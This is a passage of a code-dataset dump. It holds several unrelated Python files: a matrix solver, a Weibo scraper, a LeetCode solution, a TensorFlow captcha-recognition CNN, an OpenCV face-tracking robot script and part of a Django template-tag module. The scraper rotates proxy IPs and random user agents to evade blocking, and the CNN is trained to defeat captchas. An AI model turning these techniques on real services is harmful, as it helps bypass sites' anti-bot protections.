range(len[a[i]])] for i in range(len(a))]\n\n #печать матрицы\n @staticmethod\n def print(matrix,precision = 16): \n for line in matrix:\n for item in line:\n print(str(round(item,precision)), end='\\t')\n print('\\n')\n\n\nclass SLE:\n #инициализация СЛУ\n def __init__(self):\n #задание матрицы A \n self.__matrix = [\n [0.6897, -0.0908, 0.0182, 0.0363, 0.1271],\n [0.0944, 1.0799, 0.0000, -0.0726, 0.0726],\n [0.0545, 0.0000, 0.8676, -0.2541, 0.1452],\n [-0.1089, 0.2287, 0.0000, 0.8531, -0.0363],\n [0.4538, 0.0000, 0.1634, 0.0182, 1.0164]\n ]\n #задание f\n self.__result = [4.2108, 4.6174, -5.8770, 2.7842, 0.2178]\n\n #A\n def getMatrix(self):\n return [(list(i)) for i in self.__matrix]\n \n #f\n def getF(self):\n return list(self.__result)\n\n #печать условия\n def print(self):\n for i in range(len(self.__matrix)):\n for j in range(len(self.__matrix[i])):\n print(str(self.__matrix[i][j]), end='\\t')\n print(\" | \"+ str(self.__result[i]))\n print('\\n')\n\n #решение системы\n def solve(self,f = None):\n if (f == None):\n return Matrix._gauss(self.__matrix,self.__result), Matrix._jacobi(self.__matrix, self.__result)\n else:\n return Matrix._gauss(self.__matrix,f), Matrix._jacobi(self.__matrix, f)\n","sub_path":"lab3/matrix.py","file_name":"matrix.py","file_ext":"py","file_size_in_byte":4774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"148072153","text":"import json\nimport xlrd\nimport re\nfrom fake_useragent import UserAgent\nimport requests\nimport asyncio\nfrom matplotlib.font_manager import FontProperties\nimport sched\nimport aiohttp\nimport time\nfrom lxml import etree\nfrom openpyxl import Workbook\nfrom matplotlib import pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport pymongo\nimport os\n\n\n# 保存热搜话题下的数据的函数,保存到xlsx文件中\ndef sava_resou_data(data_list, i, resou_title):\n fire = Workbook()\n sheet = fire.active\n sheet.append([\"time\", \"content\"])\n for m in data_list:\n sheet.append(m)\n fire.save(resou_title[i] + '.xls')\n\n\n# 保存自定义话题下的数据,保存到xlsx文件中\ndef sava_zidingyi_data(data_list, name):\n fire = Workbook()\n sheet = fire.active\n sheet.append([\"time\", \"content\"])\n for m in data_list:\n sheet.append(m)\n fire.save(name+'.xls')\n\n\nasync def get_data(data_list, html):\n # 把数据转换为json格式\n response = json.loads(html)\n # 拿到cards标签下的数据\n data = response['data']['cards']\n for j in range(len(data)):\n try:\n # 拿到created_at标签下的数据,也就是时间\n res_time = data[j]['mblog']['created_at']\n res = res_time.split()\n # 对日期进行处理,转换为正常的日期格式\n temp = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"Jun\", \"Jul\", \"Aug\", \"Sept\", \"Oct\", \"Nov\", \"Dec\"]\n a = lambda x: (temp[x - 1], f\"0{x}\") if x < 10 else (temp[x - 1], f\"{x}\")\n month_dict = dict([a(i) for i in range(1, 13)])\n fin_time = res[-1] + \"-\" + month_dict[res[1]] + \"-\" + res[2] + \" \" + res[3]\n # 拿到text标签下的数据,再用xpath拿到所有的文本内容\n result = data[j]['mblog']['text']\n res = etree.HTML(result)\n fin_text = \"\".join(res.xpath('//text()'))\n # 把数据添加到data_list数组中去\n data_list.append([fin_time, fin_text])\n # 显示一下数据\n print(fin_time, fin_text)\n except KeyError as p:\n pass\n # print(len(data_list))\n # print(data_list)\n\n\ndef change_ip(proxies_url):\n # 更换ip\n while True:\n try:\n proxies = \"http://\" + requests.get(proxies_url).text.split(\"\\r\\n\")[0]\n break\n except Exception as p:\n time.sleep(2)\n print(\"请求ip出错\")\n return proxies\n\n\nasyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())\n\n\nasync def get_resou_url(url, proxies_url, resou_title):\n # 定义请求头\n head = {\n \"User-Agent\": UserAgent().random\n }\n # 获取响应\n response = requests.get(url, headers=head)\n # 转换为json\n response = response.json()\n # 拿到cards里面的数据\n data = response['data']['cards'][0]['card_group']\n # 拿到热搜中前10个的标题\n for res in range(10):\n resou_title.append(data[res]['desc'])\n print(resou_title)\n\n # print(data)\n while True:\n try:\n proxies = \"http://\" + requests.get(proxies_url).text.split(\"\\r\\n\")[0]\n break\n except Exception as p:\n time.sleep(2)\n print(\"请求ip出错\")\n # 遍历\n for j in range(10):\n # 拿到text里面的数据\n scheme = data[j]['scheme'].split(\"?\")\n data_list = []\n i = \"0\"\n new_urls = [\n \"https://m.weibo.cn/api/container/getIndex?\" + scheme[1] + \"&page_type=searchall&page=\" + str(i) + \"\" for i\n in range(1, 200)]\n for url_one in new_urls:\n try:\n # 使用协程爬取,加快效率\n async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False), trust_env=True) as session:\n # 显示网址,可以查看进度\n print(url_one)\n\n async with session.get(url_one, headers=head,\n proxy=proxies, timeout=15) as response:\n html = await response.text()\n # 判断一个话题下的数据是否爬取完,如果爬取完,就跳出循环\n a = re.findall('\"ok\":(.*?),\"data\"', html, re.S)\n if \"msg\" in a[0]:\n break\n await get_data(data_list, html)\n except Exception as p:\n print(p)\n proxies = change_ip(\n \"http://http.tiqu.letecs.com/getip3?num=1&type=1&pro=&city=0&yys=0&port=1&time=1&ts=0&ys=0&cs=0&lb=1&sb=0&pb=4&mr=1®ions=&gm=4\")\n continue\n # 调用保存数据到xlsx文件中的函数\n sava_resou_data(data_list, j, resou_title)\n return resou_title\n\n\nasync def get_zidingyi_url(url, name, proxies_url):\n # 定义请求头\n head = {\n \"User-Agent\": UserAgent().random\n }\n while True:\n try:\n proxies = \"http://\" + requests.get(proxies_url).text.split(\"\\r\\n\")[0]\n break\n except Exception as p:\n time.sleep(2)\n print(\"请求ip出错\")\n data_list = []\n # 处理url变成接口\n scheme = url.split(\"?\")\n i = \"0\"\n new_urls = [\n \"https://m.weibo.cn/api/container/getIndex?\" + scheme[1] + \"&page_type=searchall&page=\" + str(i) + \"\" for i\n in range(1, 200)]\n for url_one in new_urls:\n try:\n # 使用协程加快效率\n async with aiohttp.ClientSession(connector=aiohttp.TCPConnector(ssl=False), trust_env=True) as session:\n # 显示网址,可以查看进度\n print(url_one)\n\n async with session.get(url_one, headers=head,\n proxy=proxies, timeout=15) as response:\n html = await response.text()\n # 判断话题下的数据是否爬取完,如果爬取完,就跳出循环\n a = re.findall('\"ok\":(.*?),\"data\"', html, re.S)\n if \"msg\" in a[0]:\n break\n await get_data(data_list, html)\n except Exception as p:\n print(p)\n proxies = change_ip(\n \"http://http.tiqu.letecs.com/getip3?num=1&type=1&pro=&city=0&yys=0&port=1&time=1&ts=0&ys=0&cs=0&lb=1&sb=0&pb=4&mr=1®ions=&gm=4\")\n continue\n # 调用保存数据到xlsx文件中的函数\n sava_zidingyi_data(data_list, name)\n\n\ndef histogram(resou_title, user_input):\n # 制作柱状图\n chart_list = []\n name_list = []\n # 从保存的xlsx文件中拿到数据,然后判断词条数\n for i in range(10):\n df = pd.read_excel(resou_title[i]+\".xls\")\n res = \"-\".join(df[\"content\"].values)\n num = int(res.count(\"#\")/2)\n chart_list.append(num)\n name_list.append(resou_title[i])\n # 从保存的xlsx文件中拿到数据,然后判断词条数\n for i in range(5):\n df = pd.read_excel(user_input[i]+\".xls\")\n res = \"-\".join(df[\"content\"].values)\n num = int(res.count(\"#\")/2)\n chart_list.append(num)\n name_list.append(user_input[i])\n # 设置图片可以显示中文和负数\n plt.rcParams['font.sans-serif'] = ['simhei']\n plt.rcParams['axes.unicode_minus'] = False\n\n # x轴\n x = np.array(name_list)\n # y轴\n y = np.array(chart_list)\n # 倒序,返回排序后各数据的原始下标\n sortIndex = np.argsort(-y)\n # 重新进行排序,与y保持初始顺序一致\n x_sort = x[sortIndex]\n # 重新进行排序,倒序\n y_sort = y[sortIndex]\n\n def autolabel(rects, font):\n # 显示词条数\n for rect in rects:\n\n height = rect.get_height()\n\n plt.text(rect.get_x() + rect.get_width() / 2. - 0.25, 1.01 * height, '%s' % int(height), fontproperties=font)\n font = FontProperties(fname=r\"./simhei.ttf\")\n # 让x轴的标题旋转90度,方便显示\n plt.xticks(np.arange(len(x_sort)), x_sort, rotation=90, fontproperties=font)\n # 作图\n a = plt.bar(np.arange(len(x_sort)), y_sort)\n # 调用显示词条数的函数\n autolabel(a, font)\n # 设置标题\n plt.title('词条数统计', fontproperties=font)\n # 设置y轴的单位\n plt.ylabel('词条数', fontproperties=font)\n # 设置x轴的单位\n plt.xlabel('词条', fontproperties=font)\n # 保存图片\n plt.savefig(\"15.jpg\")\n\n\ndef line_chart(resou_title, user_input):\n # 制作折线图\n # 设置可以在图片上显示中文和负数\n plt.rcParams['font.sans-serif'] = ['simhei']\n plt.rcParams['axes.unicode_minus'] = False\n # 遍历10个热搜的文件作图\n for i in range(10):\n df = pd.read_excel(resou_title[i] + \".xls\")\n x_time = df[\"time\"].str[:10].value_counts().index.tolist()\n y_time = df[\"time\"].str[:10].value_counts().tolist()\n # 设置画布\n plt.figure(figsize=(20, 8), dpi=80)\n # x轴的标题旋转90度\n plt.xticks(rotation=90)\n # 作图\n plt.plot(x_time, y_time)\n\n font = FontProperties(fname=r\"./simhei.ttf\")\n\n # 定义x轴的标题\n plt.xlabel(\"发布时间\", fontproperties=font)\n # 定义y轴的标题\n plt.ylabel(\"时间频率\", fontproperties=font)\n # 定义整个图片的标题\n plt.title(resou_title[i]+\"发布时间和时间频率对应关系图\", fontproperties=font)\n # 保存图片\n plt.savefig(\"\"+str(i)+\".jpg\")\n\n for i in range(5):\n df = pd.read_excel(user_input[i] + \".xls\")\n x_time = df[\"time\"].str[:10].value_counts().index.tolist()\n y_time = df[\"time\"].str[:10].value_counts().tolist()\n # 设置画布\n plt.figure(figsize=(20, 8), dpi=80)\n # 让x轴的数据旋转90度,方便显示\n plt.xticks(rotation=90)\n # 作图\n plt.plot(x_time, y_time)\n\n font = FontProperties(fname=r\"./simhei.ttf\")\n\n # 定义x轴的标题\n plt.xlabel(\"发布时间\", fontproperties=font)\n # 定义y轴的标题\n plt.ylabel(\"时间频率\", fontproperties=font)\n # 定义整个图片的标题\n plt.title(user_input[i]+\"发布时间和时间频率对应关系图\", fontproperties=font)\n # 保存图片\n plt.savefig(\"\"+str(i+10)+\".jpg\")\n\n\ndef main():\n mongo_py = pymongo.MongoClient()\n\n collection = mongo_py['weibo_citiao']['data']\n resou_title = []\n # 类似于这种 user_input = [\"美食\", \"美味\", \"熊猫\", \"动物\", \"\"]\n user_input = [\"美食\", \"美味\", \"熊猫\", \"动物\", \"狗\"]\n url = \"https://m.weibo.cn/api/container/getIndex?containerid=106003type%3D25%26t%3D3%26disable_hot%3D1%26filter_type%3Drealtimehot&title=%E5%BE%AE%E5%8D%9A%E7%83%AD%E6%90%9C&extparam=seat%3D1%26pos%3D0_0%26dgr%3D0%26mi_cid%3D100103%26cate%3D10103%26filter_type%3Drealtimehot%26c_type%3D30%26display_time%3D1620121386&luicode=10000011&lfid=231583\"\n # ip网址\n proxies_url = \"http://http.tiqu.letecs.com/getip3?num=1&type=1&pro=&city=0&yys=0&port=1&time=1&ts=0&ys=0&cs=0&lb=1&sb=0&pb=4&mr=1®ions=&gm=4\"\n\n\n # loop = asyncio.get_event_loop()\n # task = [asyncio.ensure_future(get_resou_url(url, proxies_url))]\n # loop.run_until_complete(asyncio.wait(task))\n # 使用协程调用函数\n asyncio.run(get_resou_url(url, proxies_url, resou_title))\n\n # 自定义的五个网址\n urls = [\"https://m.weibo.cn/search?containerid=100103type%3D1%26q%3D\" + user_input[0],\n \"https://m.weibo.cn/search?containerid=100103type%3D1%26q%3D\" + user_input[1],\n \"https://m.weibo.cn/search?containerid=100103type%3D1%26q%3D\" + user_input[2],\n \"https://m.weibo.cn/search?containerid=100103type%3D1%26q%3D\" + user_input[3],\n \"https://m.weibo.cn/search?containerid=100103type%3D1%26q%3D\" + user_input[4]]\n # 调用函数\n\n for i in range(5):\n asyncio.run(get_zidingyi_url(urls[i], user_input[i], proxies_url))\n # 调用柱状图函数\n histogram(resou_title, user_input)\n # 调用折线图函数\n line_chart(resou_title, user_input)\n\n try:\n for m in range(10):\n collection.update_one({'id': m}, {'$set': {'name': resou_title[m]}})\n os.remove(resou_title[m]+'.xls')\n\n for j in range(10, 15):\n collection.update_one({'id': j}, {'$set': {'name': user_input[j-10]}})\n os.remove(user_input[j-10] + '.xls')\n except Exception as p:\n print(p)\n\n\nmain()","sub_path":"22-weibo-resou/weibo-resou.py","file_name":"weibo-resou.py","file_ext":"py","file_size_in_byte":12501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"76160752","text":"class Solution(object):\n \n # find the first next non - zero index\n def swapZero(self, nums, i):\n for j in range(i, len(nums)):\n if nums[j] != 0:\n return j\n return -1\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: None Do not return anything, modify nums in-place instead.\n \"\"\"\n for i in range(len(nums)):\n if nums[i] == 0:\n # find the closest non-zero num's index\n j = self.swapZero(nums, i)\n #swap\n if (j == -1):\n break\n nums[i],nums[j] = nums[j],nums[i]\n \n # a faster method is to append a zero and remove the current zero but i didn't know i can modify the length of the array \n # n=len(nums)\n # i=0\n # while i < n: \n # if nums[i] == 0:\n # nums.pop(i)\n # nums.append(0)\n # n-=1 # number of non-zeros modified\n # else: \n # i+=1","sub_path":"q283.py","file_name":"q283.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"69286672","text":"import tensorflow as tf\nimport glob\nimport captcha_setting\nimport os\nimport numpy as np\n\n\ndef read_pic_batch(filenames):\n \"\"\"\n 读取图片文件\n :return:\n \"\"\"\n # 1. 构造文件名队列\n # print(\"filenames:\\n\",filenames)\n file_queue = tf.train.string_input_producer(filenames)\n # 2. 读取与解码\n reader = tf.WholeFileReader()\n filename, image = reader.read(file_queue)\n # filename是全路径名,文件名前4个字母为图片中的校验码,image需要解码成三阶张量\n decoded_image = tf.image.decode_png(image)\n # 确定形状,方便批处理\n decoded_image.set_shape([captcha_setting.IMAGE_HEIGHT, captcha_setting.IMAGE_WIDTH, 3])\n # 修改精度\n decoded_image = tf.cast(decoded_image, tf.float32)\n # print(\"decoded_image:\\n\",decoded_image)\n\n # 3. 加入批处理\n filename_batch, image_batch = tf.train.batch([filename, decoded_image], batch_size=100, num_threads=1, capacity=100)\n\n # 开启会话\n with tf.Session() as sess:\n # 因为用到了队列,需要开启线程\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(sess=sess, coord=coord)\n\n filename_value, image_value = sess.run([filename_batch, image_batch])\n # print(\"filename_value:\\n\",filename_value)\n # print(\"image_value:\\n\",image_value)\n labels = parse_filenames_to_labels(filename_value)\n # print(labels)\n # labels转成one-hot编码\n labels_value = tf.reshape(tf.one_hot(labels, depth=captcha_setting.ALL_CHAR_SET_LEN),\n [-1, 4 * captcha_setting.ALL_CHAR_SET_LEN]).eval()\n\n # 回收线程\n coord.request_stop()\n coord.join(threads)\n\n\n\n return filename_value,image_value, labels_value\n\ndef parse_filenames_to_chars(filenames):\n \"\"\"\n 解析文件名 ---> 校验码(标签)\n NZPP_xxxxx.png ---> NZPP\n :param filenames:\n :return:\n \"\"\"\n labels = []\n for filename in filenames:\n # print(filename)\n # 取出4位的标签\n chars = str(filename).split(os.path.sep)[-1].split(\"_\")[0]\n # print(chars)\n labels.append(chars)\n\n # print(labels)\n return labels\n\ndef parse_filenames_to_labels(filenames):\n \"\"\"\n 解析文件名 ---> 校验码(标签) ---> []一行4列的张量\n NZPP_xxxxx.png ---> NZPP ---> [13,25,15,15]\n :return: 处理后的列表\n \"\"\"\n\n labels = []\n for filename in filenames:\n # print(filename)\n # 取出4位的标签\n chars = str(filename).split(os.path.sep)[-1].split(\"_\")[0]\n # print(chars)\n # 转换成[]\n label = []\n for c in chars:\n char_idx = captcha_setting.ALL_CHAR_SET.index(c)\n label.append(char_idx)\n # print(label)\n # print(\"\\n\")\n labels.append(label)\n\n # print(labels)\n return np.array(labels)\n\n\ndef label_to_char(labels):\n \"\"\"\n [13,25,15,15] ---> NZPP\n :param labels:\n :return:\n \"\"\"\n word_list = []\n for label in labels:\n # print (label)\n word = []\n for item in label:\n # print(\"item:\\n\",item)\n word.append(captcha_setting.ALL_CHAR_SET[item])\n # print(\"word:\\n\",word)\n word_list.append(word)\n # print(\"word_list:\\n\",word_list)\n return word_list\n\ndef create_weights(shape,name=None):\n \"\"\"\n 生成权重初始化值\n :param shape:\n :return:\n \"\"\"\n return tf.Variable(initial_value=tf.random_normal(shape=shape, mean=0.0, stddev=0.1),name=name)\n\n\ndef create_cnn_model(x):\n \"\"\"\n 构造CNN网络模型\n 两层卷积:卷积层、激活层、池化层\n 全连接层:预测分类\n :param x: shape=[None,captcha_setting.IMAGE_HEIGHT,captcha_setting.IMAGE_WIDTH,3]\n :return:\n \"\"\"\n # 1、第一个卷积大层\n with tf.variable_scope(\"conv-1\"):\n # 1.1 卷积层:32个Filter,大小5*5,strides=1,padding=\"SAME\"\n # 将x [None,784]进行形状转换成卷积函数要求的格式\n\n filter_conv1 = create_weights(shape=[5, 5, 3, 32],name=\"filter1\")\n bias_conv1 = create_weights([32],name=\"bias1\")\n\n features_conv1 = tf.nn.conv2d(input=x, filter=filter_conv1, strides=[1, 1, 1, 1], padding=\"SAME\") + bias_conv1\n # 1.2 激活函数\n relu_conv1 = tf.nn.relu(features_conv1)\n # 1.3 池化层:大小2*2,strides=2\n pool_conv1 = tf.nn.max_pool(value=relu_conv1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=\"SAME\")\n\n # 2、第二个卷积大层\n with tf.variable_scope(\"conv-2\"):\n # 2.1 卷积层:64个Filter,大小5*5,strides=1,padding=\"SAME\"\n # [None,captcha_setting.IMAGE_HEIGHT,captcha_setting.IMAGE_WIDTH,3]\n # -->[None,captcha_setting.IMAGE_HEIGHT/2,captcha_setting.IMAGE_WIDTH/2,32]\n filter_conv2 = create_weights(shape=[5, 5, 32, 64],name=\"filter2\")\n bias_conv2 = create_weights([64],name=\"bias2\")\n\n features_conv2 = tf.nn.conv2d(input=pool_conv1, filter=filter_conv2, strides=[1, 1, 1, 1],\n padding=\"SAME\") + bias_conv2\n\n # 2.2 激活函数\n relu_conv2 = tf.nn.relu(features_conv2)\n # 2.3 池化层:大小2*2,strides=2\n # [None,captcha_setting.IMAGE_HEIGHT/4,captcha_setting.IMAGE_WIDTH/4,32]\n pool_conv2 = tf.nn.max_pool(value=relu_conv2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding=\"SAME\")\n # 3、全连接层\n # tf.reshape()变成矩阵,[None, IMAGE_HEIGHT/4,IMAGE_WIDTH/4,32]\n # ---> [None, IMAGE_HEIGHT/4*IMAGE_WIDTH/4,64],\n # 输出[None, 4*36]\n # [None, IMAGE_HEIGHT/4 * IMAGE_WIDTH/4 * 64] * [] = [None, 4*36]\n # 因此,weights = [IMAGE_HEIGHT/4 * IMAGE_WIDTH/4 * 64, 4*36], bias = [4*36]\n with tf.variable_scope(\"Full_Connection\"):\n height = tf.cast(captcha_setting.IMAGE_HEIGHT / 4,tf.int32)\n width = tf.cast(captcha_setting.IMAGE_WIDTH / 4,tf.int32)\n x_fc = tf.reshape(pool_conv2, shape=[-1, height * width * 64])\n weights_fc = create_weights(shape=[height * width * 64, 4 * 36],name=\"weights_fc\")\n bias_fc = create_weights(shape=[4 * 36],name=\"bias_fc\")\n\n y_predict = tf.matmul(x_fc, weights_fc) + bias_fc\n\n # 收集变量,在TensroBoard中显示\n tf.summary.histogram(\"filter1\", filter_conv1)\n tf.summary.histogram(\"bias1\", bias_conv1)\n\n tf.summary.histogram(\"filter2\", filter_conv2)\n tf.summary.histogram(\"bias2\", bias_conv2)\n\n tf.summary.histogram(\"weights_fc\", weights_fc)\n tf.summary.histogram(\"bias_fc\", bias_fc)\n\n return y_predict\n\n\ndef train_model(filenames):\n \"\"\"\n 训练模型\n :return:\n \"\"\"\n with tf.variable_scope(\"prepartion_data\"):\n # 读取图片文件\n # 使用glob获取文件名列表(也可以用os)\n # 读取文件\n filename_value, image_value,labels_value = read_pic_batch(filenames)\n\n with tf.variable_scope(\"create_model\"):\n # 准备数据,彩色图片,3个通道\n x = tf.placeholder(dtype=tf.float32, shape=[None, captcha_setting.IMAGE_HEIGHT, captcha_setting.IMAGE_WIDTH, 3],name=\"x\")\n # x = image_value\n # 校校码,4个长度,0-9以及A-Z\n y_true = tf.placeholder(dtype=tf.float32, shape=[None, 4 * captcha_setting.ALL_CHAR_SET_LEN],name=\"y_true\")\n # y_true = labels_value\n # 构造模型\n y_predict = create_cnn_model(x)\n # print(y_predict)\n\n with tf.variable_scope(\"def_loss\"):\n # 构造损失函数\n loss_list = tf.nn.sigmoid_cross_entropy_with_logits(labels=y_true, logits=y_predict)\n loss = tf.reduce_mean(loss_list)\n with tf.variable_scope(\"optimization_loss\"):\n # 优化损失函数\n # optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.001).minimize(loss)\n optimizer = tf.train.AdamOptimizer(learning_rate=0.001).minimize(loss)\n # 计算准确率\n with tf.variable_scope(\"accuracy\"):\n\n prediction = tf.argmax(tf.reshape(y_predict, shape=[-1, 4, 36]), axis=2)\n\n equal_list = tf.reduce_all(\n tf.equal(tf.argmax(tf.reshape(y_true, shape=[-1, 4, 36]), axis=2),\n tf.argmax(tf.reshape(y_predict, shape=[-1, 4, 36]), axis=2)), axis=1)\n accuracy = tf.reduce_mean(tf.cast(equal_list, tf.float32))\n\n # 需要保存prediction,以便在预测时使用\n tf.add_to_collection('pred_network', prediction)\n\n # 创建Saver对象\n saver = tf.train.Saver()\n\n # 合并变量\n merged = tf.summary.merge_all()\n\n # 开启会话\n with tf.Session() as sess:\n # 开始训练\n # 初始化变量\n init = tf.global_variables_initializer()\n sess.run(init)\n\n # 创建事件文件\n file_writer = tf.summary.FileWriter(\"../tf_out/captcha\", graph=sess.graph)\n\n for i in range(1000):\n _, prediction_value,loss_value, accuracy_value = sess.run([optimizer, prediction,loss, accuracy],feed_dict={x:image_value,y_true:labels_value})\n print(\"prediction:\\n\",prediction_value)\n print(\"第%d次训练,损失为:%.2f,准确率:%.2f%%\" % ((i + 1), loss_value, accuracy_value * 100))\n\n # 每次迭代需要收集变量\n summary = sess.run(merged)\n # 每次迭代后的变量写入事件文件\n file_writer.add_summary(summary, i)\n\n # 保存模型,退出\n if accuracy_value >= 1.0:\n\n saver.save(sess, \"../tf_out/model_checkpoint/captcha/captcha.ckpt\")\n break\n\n\n return None\n\ndef test_pic(filenames):\n \"\"\"\n 测试模型\n :param filename:\n :return:\n \"\"\"\n\n #\n filename_value, image_value, labels_value = read_pic_batch(filenames)\n\n with tf.Session() as sess:\n\n # 创建Saver对象,从存储模型中恢复参数值\n saver = tf.train.import_meta_graph('../tf_out/model_checkpoint/captcha/captcha.ckpt.meta')\n saver.restore(sess, \"../tf_out/model_checkpoint/captcha/captcha.ckpt\")\n\n # tf.get_collection() 返回一个list. 但是这里只要第一个参数即可\n prediction = tf.get_collection('pred_network')[0]\n\n # 因为y中有placeholder,所以sess.run(y)的时候还需要用实际待预测的样本以及相应的参数来填充这些placeholder,\n # 而这些需要通过graph的get_operation_by_name方法来获取。\n graph = tf.get_default_graph()\n x = graph.get_operation_by_name(\"create_model/x\").outputs[0]\n y_true = graph.get_operation_by_name(\"create_model/y_true\").outputs[0]\n\n # filter1 = sess.run(\"create_model/conv-1/filter1:0\")\n # print(\"filter1:\\n\",filter1)\n prediction_value = sess.run([prediction],feed_dict={x:image_value,y_true:labels_value})\n prediction_cast = tf.cast(prediction_value,tf.int64)\n print(\"prediction_value\",prediction_cast)\n\n\n predict_text = label_to_char(prediction_cast)\n label_true = str(filename_value).split(os.path.sep)[-1].split(\"_\")[0]\n # label_true = parse_filenames_to_chars(filename_value)\n print(\"Predict Label:\\n\",predict_text)\n\n print(\"True Label:\\n\",label_true)\n # print(\"accuracy_value:\\n\",accuracy_value)\n\n return None\n\nif __name__ == \"__main__\":\n # 是否为训练模式\n # is_training = True\n is_training = False\n\n # 开始训练\n if is_training:\n train_model(glob.glob(captcha_setting.TRAIN_DATASET_PATH + \"/*.png\"))\n\n # 从保存的目录中恢复模型,进行预测\n else:\n test_pic(glob.glob(captcha_setting.TRAIN_DATASET_PATH + \"/*.png\"))\n\n","sub_path":"captcha_recognition/captcha_recognation2.py","file_name":"captcha_recognation2.py","file_ext":"py","file_size_in_byte":11611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"277339923","text":"import cv2\nfrom threading import Thread\nimport robot_controller\n# 장치에 연결된 카메라(0번)를 이용한 이미지 캡쳐\ncap = cv2.VideoCapture(0)\n\n# OpenCV 에서 제공하는 KCF Tracker를 이용\ntracker = cv2.TrackerKCF_create()\n\n# 객체 추적에 대한 상태 변수\nis_tracker_on = False\nIMAGE_SIZE = (640, 480)\n# Main tracking loop\nwhile True:\n ret, image_np = cap.read()\n image_np = cv2.resize(image_np, IMAGE_SIZE)\n timer = cv2.getTickCount()\n\n # Face Detection을 위한 'haarcascade_frontalface_default.xml'의 경로\n # 경로 변경 필\n face_cascade = cv2.CascadeClassifier(\n '/home/pi/CSEP/라즈베리파이/Tracking/haarcascade_frontalface_default.xml')\n\n # 이미지를 BGR -> GRAY 변환\n gray = cv2.cvtColor(image_np, cv2.COLOR_BGR2GRAY)\n\n # Multi Face Detection\n # faces, 이미지에 포함 된 모든 Face의 정보 저장(Bounding box point)\n faces = face_cascade.detectMultiScale(gray, 1.3, 5)\n\n for (x, y, w, h) in faces:\n if not is_tracker_on:\n tracker = cv2.TrackerKCF_create()\n print('New Tracking')\n # Tracking 할 초기 이미지 선정, tracker에 정보 저장\n # (x, y, w, h), Face의 Bounding box\n tracker.init(image_np, (x, y, w, h))\n is_tracker_on = True\n\n # Detected 된 얼굴 객체에 Draw Rectangle\n if w != 0 or h != 0:\n cv2.rectangle(image_np, (x, y), (x + w, y + h), (0, 255, 0), 3)\n\n ok, box = tracker.update(image_np)\n\n fps = cv2.getTickFrequency() / (cv2.getTickCount() - timer)\n\n if ok:\n # Tracking success\n p1 = (int(box[0]), int(box[1]))\n p2 = (int(box[0] + box[2]), int(box[1] + box[3]))\n cv2.rectangle(image_np, p1, p2, (255, 0, 0), 2, 1)\n\n # 이미지의 중심점\n centerOfImage = (IMAGE_SIZE[0] / 2, IMAGE_SIZE[1] / 2)\n # 객체 Bounding box의 중심점\n centerOfBox = ((p1[0] + p2[0]) / 2, (p1[1] + p2[1]) / 2)\n\n # Bounding Box 중심에 카메라가 향하도록 조정\n # 일정 거리 유지\n # func에 Robot 이동 관련 함수에 전달\n worker = Thread(target=robot_controller.movementControl,\n args=(centerOfBox, centerOfImage))\n\n else:\n # Tracking failure\n cv2.putText(image_np, \"Tracking failure detected\", (100, 80),\n cv2.FONT_HERSHEY_SIMPLEX, 0.75, (0, 0, 255), 2)\n tracker.clear()\n is_tracker_on = False\n print('Tracker Off')\n\n # Display tracker type on frame\n cv2.putText(image_np, \"KCF Tracker\", (100, 20),\n cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2)\n\n # Display FPS on frame\n cv2.putText(image_np, \"FPS : \" + str(int(fps)), (100, 50),\n cv2.FONT_HERSHEY_SIMPLEX, 0.75, (50, 170, 50), 2)\n\n cv2.imshow('test', image_np)\n\n if cv2.waitKey(25) & 0xFF == ord('q'):\n cap.release()\n cv2.destroyAllWindows()\n robot_controller.turnOffMotors()\n break\n\n","sub_path":"distance/tracking.py","file_name":"tracking.py","file_ext":"py","file_size_in_byte":3026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"419907991","text":"# -*- coding: utf-8 -*-\nimport re\nfrom django import template\nfrom django.core.urlresolvers import reverse\nfrom django.template import Template,Context\nfrom django.utils.html import conditional_escape\nfrom django.utils.safestring import mark_safe\n\nfrom hnmanager import views as manager_view\n\nregister = template.Library()\n\n\nclass ObjectCellNode(template.Node):\n def __init__(self, obj, cols):\n self.object = obj\n self.columns = cols\n\n def render(self, context):\n res = ''\n for columnlst in self.columns:\n value = context.get(self.object)\n if not value is None:\n for column in columnlst:\n if value is None: break\n try:\n value = value.__getattribute__(column)\n except:\n value = None\n\n if value is None: value=''\n res += '%s | ' % value\n return res\n\n\n@register.tag\ndef objectcell(parser, token):\n splitted = token.split_contents()\n try:\n tag_name = splitted[0]\n object = splitted[1]\n columns = splitted[2:]\n for colidx in xrange(len(columns)):\n columns[colidx] = columns[colidx].split('.')\n\n except ValueError:\n raise template.TemplateSyntaxError(\"%r tag requires object columns_to_show\" % token.contents.split()[0])\n\n return ObjectCellNode(object, columns)\n\n@register.simple_tag\ndef active(request, pattern=''):\n '''\n \n '''\n result = ''\n if re.search(pattern, request.path):\n result = 'active'\n\n return result\n\n@register.filter(name=\"active\")\ndef active(value, pattern):\n '''\n \n '''\n result = False\n if re.search(pattern, value):\n result = True\n\n return result\n\nclass SetContext(template.Node):\n \"\"\"\n docstring for SetContext\n \"\"\"\n def __init__(self, name, data):\n self.name = name\n self.data = data\n def render(self, context):\n context[self.name] = self.data\n return ''\n \n@register.tag()\ndef generate_gnb_nav(parser, token):\n data = [\n {'name': '회원', 'link': reverse(manager_view.member)},\n {'name': '상품', 'link': reverse(manager_view.product)},\n {'name': '카테고리', 'link': reverse(manager_view.category)},\n {'name': '주문', 'link': '#'},\n {'name': '쿠폰', 'link': '#'},\n {'name': '게시판', 'link': '#'},\n {'name': '정산', 'link': '#'},\n {'name': '발주자', 'link': 